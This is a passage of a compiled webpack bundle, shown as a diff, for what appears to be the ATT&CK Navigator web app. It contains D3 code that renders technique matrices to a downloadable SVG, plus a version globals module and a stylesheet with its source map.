cellWidth); + //find right size to fit the height of the cell + var breakTextHeight = breakDistance / words.length; + var fitTextHeight = Math.min(breakTextHeight, cellHeight) * 0.8; //0.8 + //find right size to fit the width of the cell + // let longestWord = words.sort(function(a,b) {return b.length - a.length})[0] + var longestWordLength = -Infinity; + for (var w = 0; w < words.length; w++) { + var word = words[w]; + longestWordLength = Math.max(longestWordLength, word.length); + } + var fitTextWidth = ((cellWidth - (2 * padding)) / longestWordLength) * 1.45; + //the min fitting text size not larger than MaxFontSize + var size = Math.min(maxFontSize, fitTextHeight, fitTextWidth); + // if (size < 5) return "0px"; //enable for min text size + return size; + } + /** + * Given text, a dom node, and sizing parameters, + * try all combinations of word breaks to maximize font size inside of the given space + * returns font size in pixels + * @param {string} text the text to render in the cell + * @param {dom node} node the node for the cell + * @param {number} cellWidth width of the cell to get the font size for + * @param {number} cellHeight height of the cell to get the font size for + * @param {boolean} center center the text? + * @param {number} maxFontSize max font size, default is 12 + * @return {string} the size in pixels + */ + function optimalFontSize(text, node, cellWidth, cellHeight, center, maxFontSize) { + if (maxFontSize === void 0) { maxFontSize = 12; } + var words = text.split(" "); + var bestSize = -Infinity; //beat this size + var bestWordArrangement = []; + var bestBinary = ""; //arrangement of line breaks, see below + for (var j = 0; j < Math.pow(2, (words.length - 1)); j++) { //try no breaks first + var wordSet = []; //build this array + //binary representation of newline locations, e.g 001011 + //where 1 is newline and 0 is no newline + var binaryString = j.toString(2).padStart(words.length, "0"); + for (var k = 0; k < binaryString.length; k++) { + if (binaryString[k] === "0") { //join with space + if (wordSet.length == 0) + wordSet.push(words[k]); + else + wordSet[wordSet.length - 1] = wordSet[wordSet.length - 1] + " " + words[k]; //append to previous word in array + } + else { //linebreak + wordSet.push(words[k]); //new word in array + } + } + var size = findSpace(wordSet, node, cellWidth, cellHeight, center, maxFontSize); + if (size > bestSize) { //found new optimum + bestSize = size; + bestWordArrangement = wordSet; + bestBinary = binaryString; + } + if (size == maxFontSize) + break; //if largest text found, no need to search more + } + findSpace(bestWordArrangement, node, cellWidth, cellHeight, center, maxFontSize); + return bestSize; + } + // add properties to the node to set the vertical alignment to center without using + // dominant-baseline, which isn't widely supported + function centerValign(node, fontSize) { + if (fontSize === void 0) { fontSize = null; } + if (node.children && node.children.length > 0) { + for (var _i = 0, _a = node.children; _i < _a.length; _i++) { + var child = _a[_i]; + centerValign(child, node.getAttribute("font-size")); + } + } + else { + // base case + // transform by half the font size - 1/2px for proper centering + fontSize = fontSize ? fontSize : node.getAttribute("font-size"); + if (fontSize.endsWith("px")) + fontSize = Number(fontSize.split("px")[0]); + var currY = node.hasAttribute("y") ? Number(node.getAttribute("y")) : 0; + var newY = currY + Math.floor((fontSize * 0.3)); + d3.select(node).attr("y", newY); + } + } + var HeaderSectionContent = /** @class */ (function () { + function HeaderSectionContent() { + } + return HeaderSectionContent; + }()); + var HeaderSection = /** @class */ (function () { + function HeaderSection() { + } + return HeaderSection; + }()); + var legend = { "title": "legend", "contents": [] }; + if (self.hasScores) + legend.contents.push({ + "label": "gradient", "data": function (group, sectionWidth, sectionHeight) { + var domain = []; + for (var i = 0; i < self.viewModel.gradient.colors.length; i++) { + var percent = i / (self.viewModel.gradient.colors.length - 1); + domain.push(d3.interpolateNumber(self.viewModel.gradient.minValue, self.viewModel.gradient.maxValue)(percent)); + } + var colorScale = d3.scaleLinear() + .domain(domain) + .range(self.viewModel.gradient.colors.map(function (color) { return color.color; })); + var nCells = domain.length * 2; + var valuesRange = self.viewModel.gradient.maxValue - self.viewModel.gradient.minValue; + group.append("g") + .attr("transform", "translate(0, 5)") + .call(d3.legendColor() + .shapeWidth((sectionWidth / nCells)) + .shapePadding(0) + .cells(nCells) + .shape("rect") + .orient("horizontal") + .scale(colorScale) + .labelOffset(2) + .labelFormat(d3.format("0.02r")) + // .labelFormat( valuesRange < nCells ? d3.format("0.01f") : d3.format(".2")) + ); + } + }); + if (self.hasLegendItems()) + legend.contents.push({ + "label": "legend", "data": function (group, sectionWidth, sectionHeight) { + var colorScale = d3.scaleOrdinal() + .domain(self.viewModel.legendItems.map(function (item) { return item.label; })) + .range(self.viewModel.legendItems.map(function (item) { return item.color; })); + group.append("g") + .attr("transform", "translate(0, 5)") + .call(d3.legendColor() + .shapeWidth((sectionWidth / self.viewModel.legendItems.length)) + .shapePadding(0) + .shape("rect") + .orient("horizontal") + .scale(colorScale) + .labelOffset(2)); + } + }); + function descriptiveBox(group, sectionData, boxWidth, boxHeight) { + var boxPadding = 5; + var boxGroup = group.append("g") + .attr("transform", "translate(0," + boxPadding + ")"); + // adjust height for padding + boxHeight -= 2 * boxPadding; + var outerbox = boxGroup.append("rect") + .attr("class", "header-box") + .attr("width", boxWidth) + .attr("height", boxHeight) + .attr("stroke", "black") + .attr("fill", "white") + .attr("rx", boxPadding); //rounded corner + var titleEl = boxGroup.append("text") + .attr("class", "header-box-label") + .text(sectionData.title) + .attr("x", 2 * boxPadding) + .attr("font-size", 12) + .each(function () { centerValign(this); }); + // .attr("dominant-baseline", "middle") + // add cover mask so that the box lines crop around the text + var bbox = titleEl.node().getBBox(); + var coverPadding = 2; + var cover = boxGroup.append("rect") + .attr("class", "label-cover") + .attr("x", bbox.x - coverPadding) + .attr("y", bbox.y - coverPadding) + .attr("width", bbox.width + 2 * coverPadding) + .attr("height", bbox.height + 2 * coverPadding) + .attr("fill", "white") + .attr("rx", boxPadding); //rounded corner just in case it's being shown on a transparent background + titleEl.raise(); //push title to front; + // add content to box + var boxContentGroup = boxGroup.append("g") + .attr("class", "header-box-content") + .attr("transform", "translate(" + boxPadding + ", 0)"); + var boxContentHeight = boxHeight; // - 2*boxPadding; + var boxContentWidth = boxWidth - 2 * boxPadding; + var boxGroupY = d3.scaleBand() + .padding(0.05) + .align(0.5) + .domain(sectionData.contents.map(function (content) { return content.label; })) + .range([0, boxContentHeight]); + var _loop_1 = function (i) { + var subsectionContent = sectionData.contents[i]; + var contentGroup = boxContentGroup.append("g") + .attr("transform", "translate(0, " + boxGroupY(subsectionContent.label) + ")"); + if (typeof (subsectionContent.data) == "string") { + // add text to contentGroup + contentGroup.append("text") + .text(subsectionContent) + .attr("font-size", function () { + return optimalFontSize(subsectionContent.data, this, boxContentWidth, boxGroupY.bandwidth(), false, 32); + }) + .each(function () { centerValign(this); }); + // .attr("dominant-baseline", "middle") + } + else { + //call callback to add complex data to contentGroup + subsectionContent.data(contentGroup, boxContentWidth, boxGroupY.bandwidth()); + } + if (i != sectionData.contents.length - 1) + contentGroup.append("line") //dividing line + .attr("x1", 0) + .attr("x2", boxContentWidth) + .attr("y1", boxGroupY.bandwidth()) + .attr("y2", boxGroupY.bandwidth()) + .attr("stroke", "#dddddd"); + }; + for (var i = 0; i < sectionData.contents.length; i++) { + _loop_1(i); + } + } + // ooooo ooooo oooo + // 888 888 ooooooooo8 ooooooo ooooo888 ooooooooo8 oo oooooo + // 888ooo888 888oooooo8 ooooo888 888 888 888oooooo8 888 888 + // 888 888 888 888 888 888 888 888 888 + // o888o o888o 88oooo888 88ooo88 8o 88ooo888o 88oooo888 o888o + if (self.config.showHeader) { + var headerSections = []; + if (self.showName() || self.showDescription()) { + var about = { "title": "about", "contents": [] }; + if (self.showName()) + about.contents.push({ "label": "name", "data": this.viewModel.name }); + if (self.showDescription()) + about.contents.push({ "label": "description", "data": this.viewModel.description }); + headerSections.push(about); + } + if (self.showFilters()) + headerSections.push({ + "title": "filters", + "contents": [{ + "label": "platforms", "data": this.viewModel.filters.platforms.selection.join(", ") + }, { + "label": "stages", "data": this.viewModel.filters.stages.selection.join(", ") + }] + }); + if (self.showLegend() && self.showLegendInHeader()) + headerSections.push(legend); + var headerGroup = svg.append("g"); + var headerX = d3.scaleBand() + .paddingInner(0.05) + // .align(0.5) + .domain(headerSections.map(function (section) { return section.title; })) + .range([0, width]); + for (var _i = 0, headerSections_1 = headerSections; _i < headerSections_1.length; _i++) { + var section = headerSections_1[_i]; + var sectionGroup = headerGroup.append("g"); + if (headerSections.length > 1) + sectionGroup.attr("transform", "translate(" + headerX(section.title) + ", 0)"); + descriptiveBox(sectionGroup, section, headerSections.length == 1 ? width : headerX.bandwidth(), headerHeight); + } + if (headerSections.length == 0) + headerHeight = 0; //no header sections to show + } + else { //no header + headerHeight = 0; + } + // oooo oooo o8 o88 + // 8888o 888 ooooooo o888oo oo oooooo oooo oooo oooo + // 88 888o8 88 ooooo888 888 888 888 888 888o888 + // 88 888 88 888 888 888 888 888 o88 88o + // o88o 8 o88o 88ooo88 8o 888o o888o o888o o88o o88o + var tablebody = svg.append("g") + .attr("transform", "translate(0," + (headerHeight + 1) + ")"); + // build data model + var matrices = this.viewModel.filters.filterMatrices(this.dataService.matrices).map(function (matrix) { + return new RenderableMatrix(matrix, self.viewModel, self.config); + }); + var tactics = []; + //flattened list of tactics + for (var _a = 0, matrices_1 = matrices; _a < matrices_1.length; _a++) { + var matrix = matrices_1[_a]; + tactics = tactics.concat(matrix.tactics); + } + var x = d3.scaleBand() + .paddingInner(0.1) + .align(0.01) + .domain(tactics.map(function (tactic) { return tactic.tactic.id; })) + .range([0, width]); + var y = d3.scaleLinear() + .domain([d3.max(tactics, function (tactic) { return tactic.height; }), 0]) + .range([height - (headerHeight), 0]); + // let subtechniqueIndent = (1/3) * x.bandwidth(); //2/3 of full techinque width + // let subtechniqueIndent = 2 * y(1); //2*the height of a cell, to make room for y(1) width sidebar + var subtechniqueIndent = Math.min(2 * y(1), 15); + //add tactic row backgroun + if (self.viewModel.showTacticRowBackground) { + tablebody.append("rect") + .attr("class", "tactic-header-background") + .attr("width", width) + .attr("height", y(1)) + .attr("fill", self.viewModel.tacticRowBackground) + .attr("stroke", self.config.tableBorderColor); + } + var tacticGroups = tablebody.append("g").selectAll("g") + .data(tactics) + .enter().append("g") + .attr("class", function (tactic) { return "tactic " + tactic.tactic.shortname; }) + .attr("transform", function (tactic) { + return "translate(" + x(tactic.tactic.id) + ", 0)"; + }); + // add technique and subtechnique groups + var techniqueGroups = tacticGroups.append("g") + .attr("class", "techniques").selectAll("g") + .data(function (tactic) { return tactic.techniques; }) + .enter().append("g") + .attr("class", function (technique) { return "technique " + technique.technique.attackID; }) + .attr("transform", function (technique) { + return "translate(0, " + y(technique.yPosition) + ")"; + }); + var subtechniqueGroups = tacticGroups.append("g") + .attr("class", "subtechniques").selectAll("g") + .data(function (tactic) { return tactic.subtechniques; }) + .enter().append("g") + .attr("class", function (subtechnique) { return "subtechnique " + subtechnique.technique.attackID; }) + .attr("transform", function (subtechnique) { + return "translate(" + subtechniqueIndent + ", " + y(subtechnique.yPosition) + ")"; + }); + // add cells to techniques and subtechniques + var techniqueRects = techniqueGroups.append("rect") + .attr("class", "cell") + .attr("height", y(1)) + .attr("width", x.bandwidth()) + .attr("fill", function (technique) { return technique.fill; }) + .attr("stroke", self.config.tableBorderColor); + var subtechniqueRects = subtechniqueGroups.append("rect") + .attr("class", "cell") + .attr("height", y(1)) + .attr("width", x.bandwidth() - subtechniqueIndent) + .attr("fill", function (subtechnique) { return subtechnique.fill; }) + .attr("stroke", self.config.tableBorderColor); + // add sidebar + // let sidebarWidth = y(1); + var sidebarWidth = 3; + var sidebar = subtechniqueGroups.append("rect") + .attr("class", "cell") + .attr("height", y(1)) + .attr("width", sidebarWidth) + .attr("transform", "translate(" + -sidebarWidth + ", 0)") + .attr("fill", self.config.tableBorderColor) + .attr("stroke", self.config.tableBorderColor); + var sidebarAngle = techniqueGroups.append("polygon") + .attr("class", "sidebar") + .attr("transform", "translate(0, " + y(1) + ")") + .attr("points", function (technique) { + return [ + "0,0", + subtechniqueIndent - sidebarWidth + ",0", + subtechniqueIndent - sidebarWidth + "," + Math.min(subtechniqueIndent - sidebarWidth, y(self.viewModel.filterTechniques(technique.technique.subtechniques, technique.tactic, technique.matrix).length)) + ].join(" "); + }) + .attr("fill", self.config.tableBorderColor) + .attr("visibility", function (technique) { return technique.technique.subtechniques.length > 0 && technique.showSubtechniques ? "visible" : "hidden"; }); + // oooooooo8 o888 o888 ooooooooooo o8 + // o888 88 ooooooooo8 888 888 88 888 88 ooooooooo8 oooo oooo o888oo + // 888 888oooooo8 888 888 888 888oooooo8 888o888 888 + // 888o oo 888 888 888 888 888 o88 88o 888 + // 888oooo88 88oooo888 o888o o888o o888o 88oooo888 o88o o88o 888o + techniqueGroups.append("text") + .text(function (technique) { + return technique.text; + }) + .attr("font-size", function (technique) { + return optimalFontSize(technique.text, this, x.bandwidth(), y(1), false); + }) + // .attr("dominant-baseline", "middle") + .each(function () { centerValign(this); }) + .attr("fill", function (technique) { return technique.textColor; }); + subtechniqueGroups.append("text") + .text(function (subtechnique) { + return subtechnique.text; + }) + .attr("font-size", function (subtechnique) { + return optimalFontSize(subtechnique.text, this, x.bandwidth() - subtechniqueIndent, y(1), false); + }) + // .attr("dominant-baseline", "middle") + .attr("fill", function (subtechnique) { return subtechnique.textColor; }) + .each(function () { centerValign(this); }); + var tacticLabels = tacticGroups.append("g") + .attr("class", "tactic-label"); + tacticLabels.append("text") + .text(function (tactic) { + return tactic.tactic.name; + }) + .attr("font-size", function (tactic) { + return optimalFontSize(tactic.tactic.name, this, x.bandwidth(), y(1), true); + }) + // .attr("dominant-baseline", "middle") + .attr("fill", function (tactic) { + if (self.viewModel.showTacticRowBackground) + return tinycolor.mostReadable(self.viewModel.tacticRowBackground, ["white", "black"]); + else + return "black"; + }) + .attr("font-weight", "bold") + .each(function () { centerValign(this); }); + //ooooo oooo oooo oooo oooo ooooo oooo + // 888 88 oo oooooo ooooo888 ooooooo ooooooo 888 ooooo ooooooooo8 ooooo888 888 ooooooooo8 oooooooo8 ooooooooo8 oo oooooo ooooo888 + // 888 88 888 888 888 888 888 888 888 888 888o888 888oooooo8 888 888 888 888oooooo8 888 88o 888oooooo8 888 888 888 888 + // 888 88 888 888 888 888 888 888 888 8888 88o 888 888 888 888 o 888 888oo888o 888 888 888 888 888 + // 888oo88 o888o o888o 88ooo888o 88ooo88 88ooo888 o888o o888o 88oooo888 88ooo888o o888ooooo88 88oooo888 888 888 88oooo888 o888o o888o 88ooo888o + // 888ooo888 + if (self.showLegend() && !self.showLegendInHeader()) { + var legendGroup = tablebody.append("g") + .attr("transform", "translate(" + legendX + ", " + legendY + ")"); + descriptiveBox(legendGroup, legend, legendWidth, legendHeight); + } + }; + ExporterComponent.prototype.downloadSVG = function () { + var svgEl = document.getElementById("svg" + this.viewModel.uid); + svgEl.setAttribute("xmlns", "http://www.w3.org/2000/svg"); + var svgData = new XMLSerializer().serializeToString(svgEl); + // // var svgData = svgEl.outerHTML; + // console.log(svgData) + // let svgData2 = new XMLSerializer().serializeToString(svgEl); + // console.log(svgData2) + var filename = this.viewModel.name.split(' ').join('_'); + filename = filename.replace(/\W/g, "") + ".svg"; // remove all non alphanumeric characters + var preface = '\r\n'; + var svgBlob = new Blob([preface, svgData], { type: "image/svg+xml;charset=utf-8" }); + if (is_js__WEBPACK_IMPORTED_MODULE_4__["ie"]()) { //internet explorer + window.navigator.msSaveBlob(svgBlob, filename); + } + else { + var svgUrl = URL.createObjectURL(svgBlob); + var downloadLink = document.createElement("a"); + downloadLink.href = svgUrl; + downloadLink.download = filename; + document.body.appendChild(downloadLink); + downloadLink.click(); + document.body.removeChild(downloadLink); + } + }; + /** + * Convert any length in various units to pixels + * @param quantity what length + * @param unit which unit system (in, cm, px?) + * @return that length in pixels + */ + ExporterComponent.prototype.convertToPx = function (quantity, unit) { + var factor; + switch (unit) { + case "in": { + factor = 96; + break; + } + case "cm": { + factor = 3.779375 * 10; + break; + } + case "px": { + factor = 1; + break; + } + case "em": { + factor = 16; + break; + } + case "pt": { + factor = 1.33; + } + default: { + console.error("unknown unit", unit); + factor = 0; + } + } + return quantity * factor; + }; + // wrap(text, width, padding) { + // var self = d3.select(this), + // textLength = self.node().getComputedTextLength(), + // text = self.text(); + // while (textLength > (width - 2 * padding) && text.length > 0) { + // text = text.slice(0, -1); + // self.text(text + '...'); + // textLength = self.node().getComputedTextLength(); + // } + // } + /** + * wrap the given text svg element + * @param text element to wrap + * @param width width to wrap to + * @param cellheight stop appending wraps after this height + * @param self reference to self this component because of call context + */ + ExporterComponent.prototype.wrap = function (text, width, cellheight, self) { + text.each(function () { + var text = d3.select(this), words = text.text().split(/\s+/).reverse(), word, line = [], lineHeight = 1.1, // ems + y = text.attr("y"), dy = parseFloat(text.attr("dy")), tspan = text.text(null).append("tspan").attr("x", 0).attr("y", y).attr("dy", dy + "em"); + while (word = words.pop()) { + line.push(word); + tspan.text(line.join(" ")); + if (tspan.node().getComputedTextLength() > width) { + line.pop(); + tspan.text(line.join(" ")); + line = [word]; + var thisdy = lineHeight + dy; + // if (self.convertToPx(thisdy, "em") > cellheight) return; + tspan = text.append("tspan").attr("x", 0).attr("y", y).attr("dy", thisdy + "em").text(word); + } + } + }); + }; + /** + * Recenter the selected element's tspan elements + * @param height [description] + * @param self [description] + */ + ExporterComponent.prototype.recenter = function (text, height, self) { + text.each(function () { + text.selectAll('tspan').each(function (d, i, els) { + var numTSpan = els.length; + var location = self.getSpacing(height, numTSpan)[i]; + var tspan = d3.select(this) + .attr("y", (location)) + .attr("dy", "0"); + }); + }); + }; + // Capitalizes the first letter of each word in a string + ExporterComponent.prototype.toCamelCase = function (str) { + return str.replace(/\w\S*/g, function (txt) { return txt.charAt(0).toUpperCase() + txt.substr(1).toLowerCase(); }); + }; + //following two functions are only used for iterating over tableconfig options: remove when tableconfig options are hardcoded in html + ExporterComponent.prototype.getKeys = function (obj) { return Object.keys(obj); }; + ExporterComponent.prototype.type = function (obj) { return typeof (obj); }; + /** + * Return whether the given dropdown element would overflow the side of the page if aligned to the right of its anchor + * @param dropdown the DOM node of the panel + * @return true if it would overflow + */ + ExporterComponent.prototype.checkalign = function (dropdown) { + // console.log(anchor) + var anchor = dropdown.parentNode; + return anchor.getBoundingClientRect().left + dropdown.getBoundingClientRect().width > document.body.clientWidth; + }; + /** + * Divide distance into divisions equidestant anchor points S.T they all have equal + * padding from each other and the beginning and end of the distance + * @param distance distance to divide + * @param divisions number of divisions + * @return number[] where each number corresponds to a division-center offset + */ + ExporterComponent.prototype.getSpacing = function (distance, divisions) { + distance = distance - 1; //1px padding for border + var spacing = distance / (divisions * 2); + var res = []; + for (var i = 1; i <= divisions * 2; i += 2) { + res.push(1 + (spacing * i)); + } + return res; + }; + ExporterComponent.ctorParameters = function () { return [ + { type: _config_service__WEBPACK_IMPORTED_MODULE_2__["ConfigService"] }, + { type: _data_service__WEBPACK_IMPORTED_MODULE_3__["DataService"] } + ]; }; + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Input"])(), + __metadata("design:type", _viewmodels_service__WEBPACK_IMPORTED_MODULE_1__["ViewModel"]) + ], ExporterComponent.prototype, "viewModel", void 0); + ExporterComponent = __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Component"])({ + selector: 'exporter', + template: __webpack_require__(/*! raw-loader!./exporter.component.html */ "./node_modules/raw-loader/index.js!./src/app/exporter/exporter.component.html"), + styles: [__webpack_require__(/*! ./exporter.component.scss */ "./src/app/exporter/exporter.component.scss")] + }), + __metadata("design:paramtypes", [_config_service__WEBPACK_IMPORTED_MODULE_2__["ConfigService"], _data_service__WEBPACK_IMPORTED_MODULE_3__["DataService"]]) + ], ExporterComponent); + return ExporterComponent; +}()); + +var RenderableMatrix = /** @class */ (function () { + function RenderableMatrix(matrix, viewModel, renderConfig) { + this.tactics = []; + this.matrix = matrix; + var filteredTactics = viewModel.filterTactics(matrix.tactics, matrix); + for (var _i = 0, filteredTactics_1 = filteredTactics; _i < filteredTactics_1.length; _i++) { + var tactic = filteredTactics_1[_i]; + this.tactics.push(new RenderableTactic(tactic, matrix, viewModel, renderConfig)); + } + } + Object.defineProperty(RenderableMatrix.prototype, "height", { + get: function () { + var heights = this.tactics.map(function (tactic) { return tactic.height; }); + return Math.max.apply(Math, heights); + }, + enumerable: true, + configurable: true + }); + RenderableMatrix.ctorParameters = function () { return [ + { type: _data_service__WEBPACK_IMPORTED_MODULE_3__["Matrix"] }, + { type: _viewmodels_service__WEBPACK_IMPORTED_MODULE_1__["ViewModel"] }, + { type: undefined } + ]; }; + return RenderableMatrix; +}()); +var RenderableTactic = /** @class */ (function () { + function RenderableTactic(tactic, matrix, viewModel, renderConfig) { + this.techniques = []; + this.subtechniques = []; + this.tactic = tactic; + var filteredTechniques = viewModel.filterTechniques(tactic.techniques, tactic, matrix); + var yPosition = 1; //start at 1 to make space for tactic label + for (var _i = 0, filteredTechniques_1 = filteredTechniques; _i < filteredTechniques_1.length; _i++) { + var technique = filteredTechniques_1[_i]; + var techniqueVM = viewModel.getTechniqueVM(technique, tactic); + var filteredSubtechniques = viewModel.filterTechniques(technique.subtechniques, tactic, matrix); + var showSubtechniques = renderConfig.showSubtechniques == "all" || (renderConfig.showSubtechniques == "expanded" && techniqueVM.showSubtechniques); + this.techniques.push(new RenderableTechnique(yPosition++, technique, tactic, matrix, viewModel, showSubtechniques)); + if (filteredSubtechniques.length > 0 && showSubtechniques) { + for (var _a = 0, filteredSubtechniques_1 = filteredSubtechniques; _a < filteredSubtechniques_1.length; _a++) { + var subtechnique = filteredSubtechniques_1[_a]; + this.subtechniques.push(new RenderableTechnique(yPosition++, subtechnique, tactic, matrix, viewModel, renderConfig)); + } + } + } + this.height = yPosition; + } + RenderableTactic.ctorParameters = function () { return [ + { type: _data_service__WEBPACK_IMPORTED_MODULE_3__["Tactic"] }, + { type: _data_service__WEBPACK_IMPORTED_MODULE_3__["Matrix"] }, + { type: _viewmodels_service__WEBPACK_IMPORTED_MODULE_1__["ViewModel"] }, + { type: undefined } + ]; }; + return RenderableTactic; +}()); +var RenderableTechnique = /** @class */ (function () { + function RenderableTechnique(yPosition, technique, tactic, matrix, viewModel, showSubtechniques) { + if (showSubtechniques === void 0) { showSubtechniques = false; } + this.yPosition = yPosition; + this.technique = technique; + this.tactic = tactic; + this.matrix = matrix; + this.viewModel = viewModel; + this.showSubtechniques = showSubtechniques; + } + Object.defineProperty(RenderableTechnique.prototype, "fill", { + get: function () { + if (this.viewModel.hasTechniqueVM(this.technique, this.tactic)) { + var techniqueVM = this.viewModel.getTechniqueVM(this.technique, this.tactic); + if (!techniqueVM.enabled) + return "white"; + if (techniqueVM.color) + return techniqueVM.color; + if (techniqueVM.score) + return techniqueVM.scoreColor; + } + return "white"; //default + }, + enumerable: true, + configurable: true + }); + Object.defineProperty(RenderableTechnique.prototype, "textColor", { + get: function () { + if (this.viewModel.hasTechniqueVM(this.technique, this.tactic)) { + var techniqueVM = this.viewModel.getTechniqueVM(this.technique, this.tactic); + if (!techniqueVM.enabled) + return "#aaaaaa"; + } + return tinycolor.mostReadable(this.fill, ["white", "black"]); //default; + }, + enumerable: true, + configurable: true + }); + Object.defineProperty(RenderableTechnique.prototype, "text", { + get: function () { + var text = []; + if (this.viewModel.layout.showID) + text.push(this.technique.attackID); + if (this.viewModel.layout.showName) + text.push(this.technique.name); + return text.join(": "); + }, + enumerable: true, + configurable: true + }); + RenderableTechnique.ctorParameters = function () { return [ + null, + { type: _data_service__WEBPACK_IMPORTED_MODULE_3__["Technique"] }, + { type: _data_service__WEBPACK_IMPORTED_MODULE_3__["Tactic"] }, + { type: _data_service__WEBPACK_IMPORTED_MODULE_3__["Matrix"] }, + { type: _viewmodels_service__WEBPACK_IMPORTED_MODULE_1__["ViewModel"] }, + null + ]; }; + return RenderableTechnique; +}()); + + +/***/ }), + +/***/ "./src/app/globals.ts": +/*!****************************!*\ + !*** ./src/app/globals.ts ***! + \****************************/ +/*! exports provided: nav_version, layer_version */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "nav_version", function() { return nav_version; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "layer_version", function() { return layer_version; }); +// ___ _ ___ ___ _ _ __ ___ ___ ___ _ ___ _ ___ ___ +// / __| | / _ \| _ ) /_\ | | \ \ / /_\ | _ \_ _| /_\ | _ ) | | __/ __| +// | (_ | |_| (_) | _ \/ _ \| |__ \ V / _ \| /| | / _ \| _ \ |__| _|\__ \ +// \___|____\___/|___/_/ \_\____| \_/_/ \_\_|_\___/_/ \_\___/____|___|___/ +// + +var nav_version = "3.1"; +var layer_version = "3.0"; + + +/***/ }), + +/***/ "./src/app/help/help.component.scss": +/*!******************************************!*\ + !*** ./src/app/help/help.component.scss ***! + \******************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = "/**\n * Colors used across the Navigator. Shared by the ATT&CK Website.\n * For each color-pair:\n * - \"color\" refers to the color itself\n * - \"on-color\" refers to the most readable text-color to appear on top of the color. \n * Note: some colors don't define on-colors. This is because, for these colors, they aren't intended to\n * appear with inner content. For example, \"link\" is only intended to be used for link text, which inherently\n * cannot have inner text.\n */\n.help {\n font-size: 11pt;\n padding: 25px 20%;\n}\n.help h1 {\n text-align: center;\n border-bottom: 1px solid black;\n}\n.toc {\n list-style: none;\n}\n.toc ul {\n list-style: none;\n}\ncode {\n color: black;\n border: 1px solid #ddd;\n padding: 1px 2px;\n}\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi9ob21lL0xPTi9iZXJuYWxvL2dpdC9hdHRhY2stbmF2aWdhdG9yL25hdi1hcHAvc3JjL2FwcC9oZWxwL2hlbHAuY29tcG9uZW50LnNjc3MiLCIvaG9tZS9MT04vYmVybmFsby9naXQvYXR0YWNrLW5hdmlnYXRvci9uYXYtYXBwL3N0ZGluIiwic3JjL2FwcC9oZWxwL2hlbHAuY29tcG9uZW50LnNjc3MiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBZUE7Ozs7Ozs7O0VBQUE7QUNiQTtFQUNJLGVBQUE7RUFDQSxpQkFBQTtBQ1FKO0FETkk7RUFDSSxrQkFBQTtFQUNBLDhCQUFBO0FDUVI7QURIQTtFQUVJLGdCQUFBO0FDS0o7QURKSTtFQUNJLGdCQUFBO0FDTVI7QURGQTtFQUNJLFlBQUE7RUFDQSxzQkFBQTtFQUNBLGdCQUFBO0FDS0oiLCJmaWxlIjoic3JjL2FwcC9oZWxwL2hlbHAuY29tcG9uZW50LnNjc3MiLCJzb3VyY2VzQ29udGVudCI6WyIkY29sdW1uLWhvdmVyLWNvbG9yOiByZ2IoMjM1LCAyMzUsIDIzNSk7XG4kZGlzYWJsZWQtY29sb3I6IGRhcmtlbigkY29sdW1uLWhvdmVyLWNvbG9yLCAyMCUpO1xuJGNlbGwtaGlnaGxpZ2h0LWNvbG9yOiByZ2IoOTYsIDE5NywgMjU1KTtcbiRob3Zlci1jZWxsLWZvbnQtY29sb3I6IHJnYigwLCAwLCAwKTtcbiRwYW5lbC1kYXJrOiAjZGRkO1xuJHBhbmVsLWxpZ2h0OiBsaWdodGVuKCRwYW5lbC1kYXJrLCA4JSk7XG4kdGFiLXRleHQtY29sb3I6ICM1NTU7XG4kYnV0dG9uLWRhcms6ICNiOGI4Yjg7XG5cbi8vIEFUVCZDSyBCcmFuZCBjb2xvcnNcbiRhdHRhY2stY29sb3JzOiAoXG4gICAgYXR0YWNrLW9yYW5nZTogI2M2M2YxZixcbiAgICBhdHRhY2stYmx1ZTogIzA2MmY0ZlxuKTtcblxuLyoqXG4gKiBDb2xvcnMgdXNlZCBhY3Jvc3MgdGhlIE5hdmlnYXRvci4gU2hhcmVkIGJ5IHRoZSBBVFQmQ0sgV2Vic2l0ZS5cbiAqIEZvciBlYWNoIGNvbG9yLXBhaXI6XG4gKiAgIC0gXCJjb2xvclwiIHJlZmVycyB0byB0aGUgY29sb3IgaXRzZWxmXG4gKiAgIC0gXCJvbi1jb2xvclwiIHJlZmVycyB0byB0aGUgbW9zdCByZWFkYWJsZSB0ZXh0LWNvbG9yIHRvIGFwcGVhciBvbiB0b3Agb2YgdGhlIGNvbG9yLiBcbiAqIE5vdGU6IHNvbWUgY29sb3JzIGRvbid0IGRlZmluZSBvbi1jb2xvcnMuIFRoaXMgaXMgYmVjYXVzZSwgZm9yIHRoZXNlIGNvbG9ycywgdGhleSBhcmVuJ3QgaW50ZW5kZWQgdG9cbiAqIGFwcGVhciB3aXRoIGlubmVyIGNvbnRlbnQuIEZvciBleGFtcGxlLCBcImxpbmtcIiBpcyBvbmx5IGludGVuZGVkIHRvIGJlIHVzZWQgZm9yIGxpbmsgdGV4dCwgd2hpY2ggaW5oZXJlbnRseVxuICogY2Fubm90IGhhdmUgaW5uZXIgdGV4dC5cbiAqL1xuJGNvbG9yczogKFxuICAgIHByaW1hcnk6IChjb2xvcjogbWFwLWdldCgkYXR0YWNrLWNvbG9ycywgYXR0YWNrLW9yYW5nZSksIG9uLWNvbG9yOiB3aGl0ZSksICAvL3VzZWQgZm9yIGhlYWRlciBhbmQgc29tZSBuYXYgZWxlbWVudHNcbiAgICBzZWNvbmRhcnk6IChjb2xvcjogbWFwLWdldCgkYXR0YWNrLWNvbG9ycywgYXR0YWNrLWJsdWUpLCBvbi1jb2xvcjogd2hpdGUpLCAgLy91c2VkIGZvciBmb290ZXIgYW5kIHNvbWUgYnV0dG9uc1xuICAgIGJvZHk6IChjb2xvcjogd2hpdGUsIG9uLWNvbG9yOiAjMzk0MzRDKSwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy9wcmltYXJ5IHBhZ2UgYm9keVxuLy8gIGJvZHk6IChjb2xvcjogcmdiKDUwLCA1MCwgNTApLCBvbi1jb2xvcjogI2NkY2RjZCksICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8v